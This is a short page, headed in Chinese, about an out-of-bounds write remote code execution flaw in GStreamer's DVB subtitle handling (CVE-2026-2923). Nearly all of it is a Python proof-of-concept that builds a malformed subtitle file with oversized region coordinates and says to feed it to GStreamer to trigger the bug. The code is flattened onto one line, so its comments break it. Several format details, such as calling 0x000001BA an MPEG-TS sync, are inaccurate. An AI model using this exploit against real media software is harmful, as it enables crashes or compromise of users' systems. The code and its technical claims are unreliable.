CVE-2026-2923 GStreamer DVB字幕越界写入远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2026-2923 PoC - Malformed DVB Subtitle Data Generator # This PoC generates a malicious DVB subtitle stream that can trigger # an out-of-bounds write in GStreamer's subtitle parsing module import struct def generate_malformed_dvb_subtitle(): """ Generate a malformed DVB subtitle packet with invalid coordinates to trigger out-of-bounds write vulnerability in GStreamer """ # DVB subtitle segment header data_sync = b'\x00\x00\x01\xba' # MPEG-TS sync # Subtitle descriptor with malformed coordinates # Setting extreme coordinate values that exceed buffer bounds subtitle_segment = bytearray() # Segment type: DVB subtitle (0x06) subtitle_segment.append(0x06) # Page ID (arbitrary) subtitle_segment.extend(struct.pack('>H', 0x0001)) # Segment length subtitle_segment.extend(struct.pack('>H', 0x00FF)) # Malformed region composition with invalid coordinates # Using values that will cause integer overflow or buffer overflow malformed_coords = bytearray() # Region horizontal position (excessive value) malformed_coords.extend(struct.pack('>H', 0xFFFF)) # Region vertical position (excessive value) malformed_coords.extend(struct.pack('>H', 0xFFFF)) # Region width (excessive value) malformed_coords.extend(struct.pack('>H', 0x7FFF)) # Region height (excessive value) malformed_coords.extend(struct.pack('>H', 0x7FFF)) subtitle_segment.extend(malformed_coords) # Fill remaining bytes to reach segment length padding = b'\xFF' * (0x00FF - len(malformed_coords)) subtitle_segment.extend(padding) return data_sync + subtitle_segment def create_exploit_file(output_path): """Create the malicious DVB subtitle file""" malicious_data = generate_malformed_dvb_subtitle() with open(output_path, 'wb') as f: f.write(malicious_data) print(f"[!] Malicious DVB subtitle file created: {output_path}") print(f"[!] File size: {len(malicious_data)} bytes") print("[*] To trigger the vulnerability, process this file with GStreamer") if __name__ == "__main__": create_exploit_file("malformed_dvb_subtitle.bin") print("\n[*] Note: This PoC demonstrates the vulnerability concept.") print("[*] Actual exploitation requires specific GStreamer version and context.")